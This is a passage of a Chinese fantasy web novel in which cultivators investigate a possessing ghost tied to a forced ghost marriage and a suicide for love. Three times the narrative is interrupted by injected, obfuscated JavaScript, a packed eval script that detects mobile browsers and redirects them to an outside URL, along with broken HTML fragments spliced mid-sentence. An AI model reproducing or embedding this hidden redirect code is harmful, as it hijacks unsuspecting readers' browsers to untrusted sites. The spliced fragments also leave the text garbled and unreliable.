许媛媛道:“这护身符不是为我自己求的,是我前几日去寺庙,特意为另一个人求的,只是……他用不上了。” 10. 长怨鬼(1) “用不上了?” 许媛媛拿起那枚护身符,在手里轻轻摩挲着:“这是为我夫君求的。原本三日后我们便要成亲了,奈何天不遂人愿,他前几日失足落水,年纪轻轻就……” 陆云笺忙道:“许小姐节哀。” 许媛媛摇摇头,道:“如今他家中人都已经搬走,留下个空空的屋子,也没人敢要了。他分明年岁尚轻,前途一片光明,为何会……” 陆云笺道:“许小姐,斯人已逝,生者过好自己的日子才是最要紧的。” 如此聊了许久,大多数时间都是陆云笺在想方设法地安慰许媛媛。十几岁的少女好容易才等到了心上人,心上人却在成亲前几天莫名身亡,的确是一桩憾事。 许媛媛边说边哭,哭到后面几乎昏厥过去,陆云笺赶忙让她上床休息,守着她睡过去了,才腰酸背痛地起身推门出去。 外头天已经彻底黑了,陆云笺站在门边活动了一会儿筋骨,这才看到裴世靠在不远处一棵树边,手里拿着几张纸,正凝神研究着。 陆云笺轻手轻脚地走过去,见图纸上似乎是一个阵法图案,便问:“这是什么?”她只看清那阵法中央绘着一朵梅花,尚未仔细察看,裴世却已经翻手将图纸收起来了:“如何?” 陆云笺不明就里:“什么?” 裴世道:“你与许小姐谈论半日,难道什么东西都没问出来?” 陆云笺道:“问是问了点东西,但是总感觉有哪里怪怪的。 “许小姐原定于几天后成亲的准夫君几天前死了,说是失足落水。而且她应该和那人感情很好,她哭得特别伤心,而且明明还没成亲,但是一提起那个人,她总是直接称他为‘夫君’。 “要说屋子里有什么特别的,那就是有个护身符,许小姐说是为她夫君求的,还在角落里供了尊小小的佛像,还有就是屋子里的熏香,味道太浓了,熏得人晕晕乎乎的……” 由于怕漏掉什么重要的东西,她自己又不敢乱下结论,因此陈述得事无巨细。 裴世正低头思索着,听到最后一句,道:“是安神香。” 陆云笺道:“原来这就是安神香啊。不过你又没进去,怎么知道?” 裴世似乎翻了个白眼:“味道太重,你一开门,气味飘出来,我在此处闻见都觉刺鼻。” 陆云笺不好意思地挠头道:“是吗?我觉得还挺好闻的,虽然确实有点太重了。” 想来裴世这种看起来就很牛的修真人士五感一定灵敏非常,警惕性也定然不同寻常,陆云笺不和他辩解,继续道:“不过按道理来说,安神香的味道不应该都是比较浅的吗?这怎么这么重?” 裴世似笑非笑道:“想来是当真心神不宁吧。”他说着抬手在许媛媛房门口落下一道结界,“这结界防的是非人之物,妖魔鬼怪进不去、出不来,你回头转告她,这几日无事不要随意出房门。” 陆云笺点头:“怎么不把这结界再扩大点,安全些。” 裴世道:“再扩大些,那鬼魂进不来,你见都见不到它,抓什么?” 正说着,茵茵迈着两条小短腿跑过来,扯扯陆云笺的袖子,又望望裴世,道:“哥哥姐姐,吃饭了。”说着踮起脚尖往许媛媛屋子里望,像是有些失落,“姐姐又不吃饭吗?” 陆云笺拉起她的手:“姐姐累了休息了,待会儿我们准备一些饭菜再送过来好不好?” 茵茵点头,一路领着他们走到大厅,落了座,又悄悄对陆云笺道:“今天娘亲特意做了好多好吃的,可惜姐姐不吃饭,那几个道士伯伯也不吃。” 那几个道士的确不见踪影,陆云笺心里有了几分猜测,悄声对裴世道:“你今天下午去哪儿了?” 裴世道:“闲着无聊,去和那几个道士打了个招呼。” “……”陆云笺无语片刻,“你怀疑他们?” “那时跑了的那一个,的确是招魂队伍里的人。只是他们不过临时搭伙招摇撞骗,事情搞砸了便散了,互不认识,也寻不到人。” “那他们现在在干吗?饭都不吃?” “谁知道。只要别妨碍我做事,他们如何我懒得操心。” “……” 和许淮、许夫人招呼了几句,陆云笺正要把筷子伸向糖醋鱼,忽闻一阵重重的敲门声。这敲门声听起来十分急切,力道又重,更像是在捶门。 这家里没有家丁使唤,又是许夫人上前开了门。进来的是个约莫十五六岁的小公子,衣着华贵,背上背着箭囊,眉眼矜傲,昂首挺胸,端的一派盛气凌人。 看着倒是很眼熟。陆云笺看了他一会儿,突然想起来:这不正是出关宴上当众找云间世茬的那个小公子吗? 她低声问一旁的裴世:“这人是谁?” 裴世似乎对那人很不耐烦:“季繁洲。镜阳宗宗主的不知道什么乱七八糟的表亲。” 镜阳宗是天下第二大门派,从前与云间世水火不容,数年前宗主季良衢身中奇毒,常年闭关修养,出了关也是闭门不出,门派势头便弱了许多。 镜阳宗和云间世的门派风气是如出一辙的严苛死板,最大的不同就是云间世的事务都落在尊主一人身上,镜阳宗则是宗主与六位大长老一同操持,各司其职。 那小公子昂首阔步走上前来,看见裴陆二人,也是一怔:“你们怎么也在这儿?” 裴世头也不抬,淡定地伸筷子夹菜:“季小公子不也在这?” 许淮见状起身道:“这位可也是云间世的仙君吗?” 季繁洲抱手撇过头:“我是镜阳宗的人,跟他们不是一路。”说着又转头对许淮道,“镇上有年轻女子被鬼魂缠上,你们知道吗?” 许淮点头道:“知道知道,这几位仙君也是为此而来。不过这镜阳宗……” 他说着又和许夫人面面相觑,季繁洲却不知道他们在觑什么,道:“镜阳宗怎么了?” 许淮嗫嚅老半天,还是不太好意思:“劳仙君大驾,镜阳宗堂堂第二大门派,这个……这个……” 季繁洲蹙眉道:“这个什么?” 许淮:“这个……价钱……” 季繁洲哼道:“这你不必担心,我镜阳宗是除祟惩恶、为民除害,跟云间世掉钱眼里的作风可不一样。” 陆云笺道:“季小公子这话就不太对了,我们云间世也是除祟惩恶、为民除害,”她特意咬重了最后四个字,“分文不取。” 季繁洲打量陆云笺好几眼,似乎有些惊疑不定,末了移开目光,咬牙道:“我也分文不取!” 分文不取,喜的是许淮一家。他们忙着添座椅添碗筷,请季繁洲入座。 一张圆桌原也只有那么大,季繁洲使劲地把座椅往许淮那边搬,使劲地离陆裴二人更远,陆云笺莫明其妙,裴世自顾自吃饭,全然不理他。 这顿饭吃得略有些尴尬,许淮有一句没一句地和三人闲扯,吃到后面,天色已经很晚了,许夫人送茵茵回房睡觉,又给许媛媛送了些饭菜,这才又回到桌旁坐下。 几人沉默地坐了会儿,气氛渐渐冷下来,裴世却放下筷子,终于主动开口:“我有一事,不知当讲不当讲。” 众人闻言,都抬头望他。 裴世对许淮道:“我偶然发现令媛周身有似有若无的黑气围绕,疑是邪祟缠身之兆,不知先前令媛身上可有发生过什么奇怪的事?” 许淮一愣,与许夫人对视一眼,道:“仙君好眼力。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047597|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过若说奇怪的事倒是没有,只是之前一位富商看中了小女,说是生辰八字与他过世的儿子相合,想要小女去给他儿子配冥婚。 “我们自然是舍不得,后面拖了几天,那富商找到了生辰八字更好的未婚少女,也就没再提起此事。 “只是这之后我们去寺庙祈福许愿,就常有大师说小女身上有不祥之兆。” 裴世故作姿态地颔首,道:“不过那富商的儿子与令媛未曾见过面,应当不会有什么影响,此种情况还得从身边人说起。令媛身边的人可曾遭遇过什么奇怪的事?比如好友,邻居,或者,未婚的夫婿。” 这话的暗示已经很明显了,许淮就是想隐去那一节也隐不了。他果然微微一惊,道:“还真是。小女的确曾定下一桩婚事,原本几日后就是婚期了,可天公不作美,那位公子在前几日失足落水了。” “失足落水?” 许淮没说话。 裴世拿着筷子在碗里的辣椒上戳了一阵,笑道:“那真是非常可惜。”他问完这一节便没再说话,不知为何,气氛似乎更加沉闷,几人匆匆吃完饭,便各自回房休息。 陆云笺打算先去看看许媛媛,路过那三名道士的居所,见他们正在院子各处上上下下画阵法贴符咒挂铜铃,倒真像是会驱邪除祟的高人。 陆云笺转头对裴世道:“你说许小姐疑似邪祟缠身,那我们要不要也弄些驱邪的符咒什么的?” “没有,”裴世道,“骗他的。” 陆云笺:“啊??” 裴世道:“我今日去和那个三个道士打招呼时,顺便问了他们以前是干什么的,都到哪些地方做过法事。好巧不巧,他们恰好去过许小姐那位夫君家中。为什么去呢?因为那家的儿子投河自尽了。” 陆云笺惊道:“他家几个儿子?” 裴世轻飘飘地道:“就一个。” 那就是许媛媛那未婚的夫君了。 陆云笺蹙眉道:“那许小姐他们就是在撒谎了。可他们为什么撒谎?难不成那位公子不是失足落水也不是投河自尽,是他们推下去的?” 裴世笑道:“倒是不无可能。” 陆云笺还在蹙眉思索,裴世却道:“不过既然他们自己想要隐瞒,那便瞒着吧。此行既是为了捉拿附身鬼魂,那捉住鬼魂便可,旁的事我也不想管。” 陆云笺虽并不大赞同这种袖手旁观的态度,但也清楚其中道理,并不多说。 这处宅子并不大,几人住所都在这院子里,那三名道士主动提出他们三人共住一间房,房间才堪堪足够。 季繁洲由许夫人领着到了自己的房间,瞥见那三名上下忙碌的道士,许夫人刚走,他便冷哼道:“你们这么布阵法,能抓得住鬼才怪了。” 一名道士正往一处檐角贴符咒,闻言怒道:“你这小子懂什么!我们抓不住,你又能抓住了?” 季繁洲原本只是随口嘲讽,见这道士来了劲,也就认了真:“那你说说,你摆的什么阵法?” 那名道士哼哼一笑,道:“我这摆的可是北斗七星阵,镇宅辟邪极佳的阵法!”他大约是觉得季繁洲和他是一路人,因此虽是虚张声势,气势却足。 季繁洲道:“什么乱七八糟的,哪门子北斗七星阵,先不说谁家北斗七星阵用符咒和铜铃摆阵,你这顺序也是错的,胡扯些什么?再说了,那人是活埋在地下,活活闷死的,怨气重得很,哪是随随便便就能抓住的?” 那道士手心盗汗,气势却仍不输:“你不要以为自己懂很多,我们这北斗七星阵自然与寻常的不同,这符咒和阵法都是我们家独创的,你自然不懂!” 季繁洲抱着手臂,道:“哦?那你倒是说说你们家你们家是什么家?” 11. 长怨鬼(2) 那道士一甩手中拂尘,挺直腰板,摇头晃脑道:“我们乃是混元无极大罗金仙紫薇天师座下弟子,你——” 他边说边睨着季繁洲的反应,万分自信地觉着这么个名号定是威慑住他了。然而却见季繁洲蹙着眉,一脸嫌弃道:“什么东西,没听过。” 当然不用他听过。越是陌生的东西,越是神乎其神。 那道士正欲再开口,季繁洲又道:“你们这些装神弄鬼的假道士,都喜欢起这种名字?要我说,你们编的这名字,又臭又长,乱七八糟的又记不住,听着就烦。倒不如起个短的,好记。” 那道士气得又一甩拂尘,似乎已经开始摩拳擦掌:“你少放狗屁。你又是什么门什么派哪个座下弟子?” 季繁洲听他毫不客气,原本都想直接上去开打了,听他这么问,也就收了攻势,抬头挺胸道:“镜阳宗。听过没有?” 后半句虽是问句,却不是疑问,反而带着一股子咄咄逼人的傲气,教人招架不住。 那道士的确没招架住。也是他运气不好,招摇撞骗多年,这一回,竟同时碰上了第一第二大门派的人。 此间修真界三大家乃是:云间世,镜阳宗,怜生寺。 怜生寺独立于红尘之外,长年闭门清修,不以门派的名义接委托、出任务,暂且不论。 小仙门分为两种,极少数是独立门派,大小事务均由该门派独立处理;另一种则处于大门派的管辖之下,大多数都由云间世和镜阳宗两大门派管辖,大致由地域划分。 寻常妖魔鬼怪,地方小仙门就能处理;若遇上难缠的,便会上报上级仙门,或是委托人一掷千金直接去请大门派的人,这才会由上头派人前来处理。 不过,只要是独立门派,无论大小,都存在着一种普遍现象—— 除仙门以门派名义接下委托并分派任务之外,仙门中人也可不以门派名义单独行动,四处溜达、捉妖除魔,谁捉到便算在谁名下,对本人和门派的声名都很有增益。 因此仙门中人在闲暇时常常四处云游,若是此种情况,便不必太过在乎所处是哪个门派的辖地。不过此类修士一般专挑难缠的妖魔鬼怪下手,这种寻常人家的寻常鬼怪,是惊动不了大门派的。 所以说这三个装神弄鬼的道士当真运气不好。 不过是借捉拿一个寻常人家的寻常鬼魂之名赚些小钱,怎地恰好就碰上了两大门派的人? 那道士自认倒霉,不想也不敢再多作纠缠,匆匆道了几句“多有冒犯”,便一推门躲进屋子里去了。 季繁洲和他闹了这么半天,对这个结局甚为满意,自得地一扬头发,正欲推门进屋时,终于看见了一直站在角落里观战的陆云笺和裴世。 陆云笺迫不得已上前笑道:“季小公子,又见面啦。” 季繁洲提防地瞅着二人,没说话。 陆云笺承担着与他交涉的大任,面上笑容不坠,道:“刚刚听季小公子说起那鬼魂怨气很重,是活埋致死的……” 她话还没说完,季繁洲便作恍然大悟状:“噢!你们想问我线索?” 陆云笺道:“可以这么说。不过是交换,我们也有线索的,我们一起查,效率肯定高很多。” “好好好。”季繁洲点头,陆云笺正感欣慰,他却话锋一转,道:“我不告诉你们。” 陆云笺:“??” “这鬼魂是我发现的,我一定要凭我一己之力把它拿下。届时你们云间世就等着欣赏我的风采吧,你们只能给我们看笑话。” “……”陆云笺无语片刻,斗志也被激起来了,“好啊,那我们不如打个赌?” 季繁洲道:“赌什么?” 陆云笺道:“就赌谁先抓到这个鬼魂。输的人必须送赢的人一面旗帜,上面写‘天神下凡惩恶扬善’,并当着赢家全门派的面大声喊‘某某某心胸宽广本领非凡,我某某某自愧不如甘拜下风’。” 此言一出,另外两人俱是哑口无言。这种惩罚,当真是攻击性不大,侮辱性极强。 裴世轻笑一声,似乎也来了几分兴致,见季繁洲迟迟不说话,便道:“季小公子不敢赌?” 季繁洲哼道:“赌就赌,谁怕谁。”正欲推门回房,又转头道,“可不许反悔!” 陆云笺摆手道:“不反悔不反悔,说话算话。” 然而这赌约立是立下了,但接下来几天,双方都没有任何进展。 许媛媛依裴世所言,整日待在房中,不曾迈出房门半步,而门口的结界也没有任何异动。陆云笺怕许媛媛闷得厉害,时不时去陪她说说话,但也问不出别的什么东西。 又一顿沉默尴尬的午饭过后,陆云笺一拍桌子,道:“不行。裴世,那鬼魂是不是已经跑了,不在这儿了?”这已经是她问这个问题的第不知道多少遍了。 裴世正研究着那张阵法图纸,闻言头也没抬,道:“没有,应当是躲起来了。” 陆云笺道:“那它不出来,咱们就这么干等着么?那它要是干脆不出来了怎么办?是不是有点被动啊。” 裴世闻言,终于把眼睛从图纸上移开,看向她:“你想怎么主动?” 陆云笺道:“没准咱们可以去查查别的线索,季繁洲查到的,我们肯定也能查到。” 裴世道:“他查到了别的线索,不也照样只能干等着它出来?” “这倒也是。”陆云笺一手托腮,一手指尖在桌上轻轻点着,忽然又凑过去,“这是什么?” 裴世默默把图纸侧了些许,没让她看全,无言片刻,道:“这个问题,你也已经问了很多遍。”他抬起眼,似乎是戏谑地打量了她片刻,又道,“陆小姐若是如此清闲,倒不如多多练习如何画符。” 这算是忠告,陆云笺却装作没听见,突然拍手而起,状若恍然大悟:“我知道了!一定是裴公子这样的厉害人物在这里,它被吓得不敢来了。” 裴世指尖微微一凝,道:“所以呢?” 陆云笺道:“所以或许咱们最好出去避一避,等它放松警惕,再打它个措手不及。” 陆云笺本是极力提倡出门找找线索的,但步行了几个时辰,将近傍晚才拖着两条疲累不堪的腿到达目的地时,终究一声长叹,心道还是太高估自己了。 二人可查的方向不多,这一次,便是奔着最可能有线索的地方而来。 正是许媛媛那未婚的夫君的住处。 这处院子早已搬空,尽管位于镇上,四周都有人家,却平白有一股阴森之气,与镇上的热闹全然不符。偶尔有行人走过,也都绕得远远的,不愿靠近。 明知门内无人,陆云笺还是连道几声“得罪得罪无意冒犯”,客气地叩了几下门。 自然是没有东西会开门的。 裴世等她客气完,抬脚轻轻一踹,门便大敞开来。此时已经入秋,天色将晚,空荡荡的院子更是平添几分冷气。 陆云笺看裴世微一蹙眉,赶忙警惕起来,道:“怎么了?” 裴世道:“怎么什么妖气鬼气都没有?” 陆云笺:“……” 裴世在院子里扫视一圈,道:“还以为无论是自尽还是被害,总该有些执念残存于世,一时不能散尽。倒是不曾料到走得如此干净。” 二人在堂中搜索一圈,没发现什么有用的东西,一间一间屋舍看下来,天已彻底黑了,终于到了最后一间。 陆云笺叹了口气,道:“不能吧,不能走这么老半天,还一无所获吧。”说着还是道几声“无意冒犯”,将门推开。 这间屋子的摆设比别的屋子都要简陋一些,却也更加整洁,临窗一张书案,其上摆着笔墨纸砚和一方烛台,月光洒下,显得有些凄清。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047598|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陆云笺随口问道:“裴世,这些读书人,不学法术、不从商也不做农事的话,有什么去处?” 裴世扫了眼那书案,道:“自然有去处。仙门或者富商子弟常常追求琴棋书画样样精通,便会寻这些人学习技艺。若是混得好,进了大门派,不仅报酬丰厚,也更容易有机会进入仙门修习法术。” 陆云笺点头:“原来许小姐说的前途一片光明就是指这样。看来这应该就是那位公子的房间了。” 这屋子里并没有太多东西,二人看了一圈,依旧没什么发现。正当陆云笺懊恼地想坐着歇歇时,忽然瞥见床榻角落的一样东西。 那样东西本也不显眼,在黑暗中更是难以发现,若非这具身体目力卓绝,原当是发现不了的。 她把那东西从暗处拿出来,这才发现是一只小匣子,又在枕头下摸出一把钥匙,正对应匣子上的锁,忙叫裴世过来一起看。裴世接过她手里的匣子,一插钥匙,锁便毫无阻碍地开了。 里头的东西倒是有些出人意料。 裴世拿出匣子里整整齐齐叠着的一沓信,约有几十封,看纸张,有一些年岁稍远,还夹着干花,更多则是最近的。 为避免被人发现,惹来不必要的麻烦,二人没点灯,只能移到书案旁,借着从窗外漏进来的月光仔细察看这些信的内容。 陆云笺下意识靠近了些,裴世手一顿,稍稍避开了她。 陆云笺浑然不觉,道:“哇,这是……这是情书啊!”的确如此。情笺之中的浓情蜜意,几乎要透出纸来。 陆云笺边看边下意识跟着轻声读,读到一处,裴世却微一侧手,后面的字句便隐入了黑暗之中。他道:“这些不重要,跳过去。” 陆云笺道:“就一点点,一路读下去好了。”她说着便伸长脖子,待看清那些文字,终于明白裴世为什么要侧手,又为什么要跳过了。 “哦哟。”陆云笺微一挑眉,“‘裴哥哥’。” 她无声地笑得前仰后合,裴世的脸却有些黑了。 “……别乱动。”裴世道,“也别读了,小心引来乱七八糟的东西。” “好好好。”陆云笺立即正色,一本正经坐正了,浑然不知刚刚一激动,差点一手肘给裴世捅出内伤。 她压低声音道:“不好意思。不过说实话,这些字我不是很熟,不读的话,我看不下去,而且……”她有些不好意思地,“有些字我不认识。” 这也无可厚非。 这些书信里的文字采用的多是古体,陆云笺本也不大熟,在现代又躺在病床上躺了几年,没上学没读书,堪称文盲。 裴世又无言片刻,道:“陆小姐失忆当真失得很彻底。”说着便拿过那信轻声读出来,读了几个字,陆云笺善解人意道:“不方便的话,不读也没事,我有没有完全看懂其实似乎……也没有太大关系。” 裴世淡声道:“少说废话,要听便听。”他声音冷冽,不带情感,由他来读这些情笺,果真不怎么肉麻了。 二人快速粗略地读了几十封,大致捋出了小小一节: 书信往来的二人乃是青梅竹马,只是这位裴公子几年前搬来镇上,二人就再没见过面,只能书信往来。 不过好在二人意志坚定,虽处异地,情意不减。 然而前段时间,那位姑娘来信告知,一位富商找到了她,说她的生辰八字与他儿子相合,向她家提出配冥婚的请求。而她家在许多方面都得仰仗这富商,几番交涉,已隐隐有了动摇之意,于是那位姑娘修书给裴公子,求他救她。 陆云笺叹道:“应该就是许小姐了。如果没有富商那一节,他们应该可以过得很幸福的。” 裴世道:“那可未定。” 陆云笺道:“什么?” 裴世已经展开了下一封信:“怕是那位许小姐一厢情愿吧。” 12. 枉情深(1) 陆云笺又看了之后的几封信,终于知道,信里这位姑娘,不是姓许,而是姓陈。 这些信都是那位陈姑娘寄来的,这位裴公子写的估计都寄出去了,但二人还是从字句间推断出了他可能在书信中提到的: 他想救,却自身难保。大约裴公子家原本也对他的心意十分不赞成,得知此事后,便立马给他找了门亲事,找的这门亲事,才是许媛媛。 陈姑娘大约心也凉了,问他是哪家的许小姐,问他有没有和许小姐见过面,问他心里到底是怎么想的。写到最后连字都不稳了,只是无力地祝福与道别。 而裴公子给陈姑娘的回信也没来得及寄出去,而是置于这一沓书信的最下方,其中悲恸、绝望、至死不渝与坚决挽留,陈姑娘也没能看到。于是,他留下一句苍白却决绝的“我心匪石,不可转也”,毅然决然,投河殉情。 陆云笺叹息一阵,道:“所以,这位公子真的是投河自尽。许小姐家之所以说他是失足落水,难道是因为要面子,不肯承认是他不想娶许小姐吗?” 裴世将那些信件放入匣子,重新上了锁,又把匣子放回原处,道:“或许有这一点。不过,先前许淮说要配冥婚的原本是许媛媛,只是碰巧那富商找到了更为合适的女子,这才放弃了许媛媛。真有这么巧?” 陆云笺道:“可是我看这信里写的,那位陈姑娘和许小姐好像不认识啊?” 裴世道:“她不认识许媛媛,可未见得许媛媛不认识她。若是许媛媛当真对这位情根深种,查到她头上,也不奇怪。她不在了,许媛媛要想促成这门婚事,会容易得多。” 陆云笺顺着他的思路,道:“那么就是说,陈姑娘去配冥婚,许小姐可能充当了一个推动者的角色。”她站起身来,在屋内踱来踱去,“之前听到季小公子说那鬼魂生前是活埋致死的,不会就是这位配冥婚的姑娘吧?要真是这样,那可真是……太惨了。” 看这些书信,陆云笺总觉得这是一位温婉贤淑的女子,和那鬼魂暴起杀人的状态两相对比,禁不住一个寒噤。 “如果是这样,那么那鬼魂的确不认识许小姐,所以才把这一片许姓的年轻女子都附身了个遍。”陆云笺摸摸下巴,蹙眉道,“不过它要是想报仇,为什么一定要附身?不能……不能……” 裴世道:“不一定。倘若那鬼魂当真与许媛媛素未谋面、素不相识,甚至对她一无所知,那么就不一定知道她的所作所为,也就不一定是为报仇。” 陆云笺道:“不为报仇,那是为了……” 裴世道:“附身,常常是为了稳定、滋养自身魂魄,汲取肉身养分。但有更直接的一点——利用被附身的躯体,代替原身,去做一些事。” 陆云笺喃喃道:“有什么事,是许小姐能做,那鬼魂却做不到的呢……”她猛一拍手,恍然大悟道,“和这位裴公子成亲!” 虽说二人一晚上读了几十封书信,推出了这么个故事,但老实说,作用似乎并不是很大。尽管差不多知道了来龙去脉,但他们既不可能让许媛媛出来做诱饵,把那鬼魂引出来,也不可能让那位公子死而复生,让他们三人把话说开。 那鬼魂明显是盯死了许媛媛,但二人出去这么大半天,将近子时才返回,它却仍然没有出动,许媛媛门口的结界也没有任何动静。 陆云笺走得两条腿都要断了,回房倒头就睡,才睡了两个时辰不到,忽然听到不知哪间房里传来一声尖叫。 自打来到这个世界,陆云笺从来不敢睡得太死,闻声当即惊醒,迅速套了衣服穿上鞋,坐在床边重重喘了几口气,听到不远处传来人声,赶忙向声音来处赶去。 尽管方位不对,但她原本还是以为是许媛媛出了事。谁知许媛媛没出事,反倒是那几个道士。 季繁洲拎着一个道士出来,那道士嘴里还在大喊:“鬼!有鬼啊!” 陆云笺道:“怎么了?” 裴世道:“幻象而已。” 一旁季繁洲愤愤看他一眼,想是裴世先一步破了幻象,他颇有些不平,把拎着的道士丢在地上,道:“区区一个幻象就怕成这样,还搞这些装神弄鬼的把戏做什么!还不快滚!” 那道士连连称是,拖着一个吓晕过去一个吓得浑身僵硬的同伴,忙不迭滚了。 不多时,许淮夫妇也赶到了,见着这么一片狼藉,不免忧心,陆云笺安抚了几句,又叫他们回房继续歇息了。 尽管只是一场小小闹剧,几人却都全无睡意了,相对默然片刻,季繁洲道:“你们昨天下午……” “噢!你说昨天下午啊,”陆云笺有心气他,“我们的确是出门调查线索了,而且,收获颇丰。” 季繁洲状似浑不在意,道:“哦。所以呢?” 陆云笺笑道:“所以季小公子想和我们交换线索吗?交换的话……” 季繁洲道:“谁要和你们交换!” 他愤愤欲走,陆云笺又道:“好吧。本来还想跟你说个秘密,啊不是,也不能说是秘密,大家都能看见,不过注没注意倒是不好说。” 季繁洲道:“什么秘密?” 陆云笺道:“这个事儿吧,说大不大,说小不小,主要是和季小公子你的颜面有关。要是大家都注意到了,没准你会觉得颜面扫地的。” 季繁洲的好奇心果然被激起,他追问道:“到底什么事?” 陆云笺道:“好吧。我就问你一个问题,不过分吧?” 季繁洲道:“你问。” 陆云笺道:“你查到的线索,是不是这鬼魂生前是因为配冥婚,所以才被活埋在地下,活活闷死的?” 季繁洲一惊,道:“你怎么……”随即便反应过来自己的反应太明显了,又正色道,“是又如何?你既问完了问题,就快说是什么事。” “好。”陆云笺道,“你靴子穿反了。” “……”季繁洲全然没料到是这种事,低头一看,果真十分羞恼,转身匆匆就跑了,陆云笺原本还想说话,谁知一眨眼人已经没影了。 “好吧。”陆云笺耸肩道,“我是真心想交换线索的来着。” 一旁裴世盯了那三名道士的房间片刻,忽然道:“有别的东西来了,你去看看许媛媛。” 陆云笺一惊,道:“结界出问题了?” 裴世道:“不是。但,以防万一。”他说完便纵身跃上房顶,开始察看四周情况。 陆云笺不敢耽搁,急忙赶往许媛媛的住处。 许媛媛的房间不在这个院子里,稍微有些距离。陆云笺赶到时,只见许媛媛的房间灯火通明却寂静如常,心道莫非她也被那道士的叫喊吵醒了? 如此想着,陆云笺正欲上前敲门,门却先一步开了。 许媛媛惊慌恐惧至极,撞开门逃了出来,看到陆云笺,一把扑上去抱住她,分明吓得几乎出不了声,却还是涕泪俱下,胡乱喃喃:“救我,救我,是不是她,是不是她来找我了……” 许媛媛太过激动,陆云笺被她猛然一扑扑得摔倒在地,撞得后背发疼,许媛媛的眼泪流进陆云笺衣领里,几乎冰得她浑身发麻。 陆云笺被她箍得快要喘不过气,颤巍巍想把她的手松开一点:“许小姐……你冷静……慢慢说……‘她’是谁?” 许媛媛却仿佛听不见她的声音,只自顾自地喃喃:“救我,救救我……”如此喃喃许多遍,声音却渐渐弱下去,颤抖着搂着陆云笺的手也松开了一些。 陆云笺觉察不对,道:“许小姐?”正欲翻身将她扶起,许媛媛的手却又紧了几分,陆云笺头皮一麻,感觉到一个冰冷尖利的事物抵住了自己后脑。 陆云笺霎时大脑一片空白,整个身体几乎都僵硬了,下一刻,许媛媛却仿佛恢复了神智一般,松开了手,自己起身,又将她扶了起来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047599|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆云笺浑身止不住地细微发抖,看向许媛媛。许媛媛穿着一身大红嫁衣,黑发盘了一半,又因为跌倒而散乱了大半,活像一只身着嫁衣的女鬼。 陆云笺不禁倒退几步,却见裴世正朝这边走来,指尖已有金光亮起。 陆云笺指尖微动,向他做了个手势,示意他暂时不要出手,还没来得及看他的反应,便被许媛媛拉过:“仙君,我房间里有鬼,我害怕。” 陆云笺屏住呼吸,冷静片刻,强笑道:“没事了,鬼被打跑了,不要害怕。” 裴世走上前,看向许媛媛,笑道:“许小姐为何穿着嫁衣?”虽是笑容,却不带一丝笑意,反倒冷意逼人。 许媛媛一时静默,陆云笺忙道:“裴世,你这么问,人家许小姐肯定不好意思啊,今天是许小姐成亲的日子嘛。” 许媛媛一愣,随即笑道:“是今天啊。”这一声极轻,陆裴二人心下却都了然了。 陆云笺强笑着任由许媛媛拉着,双手发着抖,反拽过许媛媛,把她往房间里带:“许小姐,成亲的日子当然要打扮得漂漂亮亮,我们、我们回房间去梳妆一下吧,我给你梳头,我技术好。” 这原也是胡说八道,陆云笺完全不会扎各种花里胡哨的发型,从来只会简单绑个马尾,好在修真界的陆云笺似乎也只会绑个马尾,这便省了学习一门新技术的工夫。 但这些都不重要。 许媛媛出了房间,就是破了房门口的结界。陆云笺只能再把她引到房中,以便裴世再设下一道结界,让那鬼魂无处可逃,在结界之内便可将它斩杀—— 却在此时,一支羽箭携着灵力,穿透了许媛媛的胸膛。许媛媛身体倒下的那一刻,鬼魂瞬间从她体内脱出,狂笑着冲向天空,身形极快,霎时不见了踪影。 裴世翻了个白眼,没兴趣再去追了。 季繁洲收了灵弓,正欲去追,却见那鬼魂不见了踪影,又是愤然,道:“这明显是被附身了,你们云间世的人连这都瞧不出来,还称什么天下第一大门派?!” 听他几次三番找云间世的茬,陆云笺也愤然道:“季小公子若是这么厉害,不也没追上它吗?当时它附身女子当街行凶,季小公子不也没赶到吗?镜阳宗的人如此,为什么还总拿云间世说事?” 季繁洲似乎被戳到了痛处,道:“再怎么样,镜阳宗也不会像云间世一样净做些腌臜事!”他说完便气冲冲走了,陆云笺也不想再与他多说,扶了许媛媛坐在一旁石凳上,搜罗出身上所有药物,都给她用上。 裴世垂了眸,默然片刻,道:“魂魄被吞了,没用了。” 陆云笺其实也猜到了一二。 那鬼魂迟迟不动手,从来不是因为不敢,而是在等。 等什么?等人失魂。 这种品阶不高又是新亡的鬼魂,往往没有能力直接吞噬活人的魂魄而将其身躯占为己有,因此只能在活人失魂之后,才有机会侵入人体。 先前被附身的女子,也都符合先失魂,后被附身的情况。 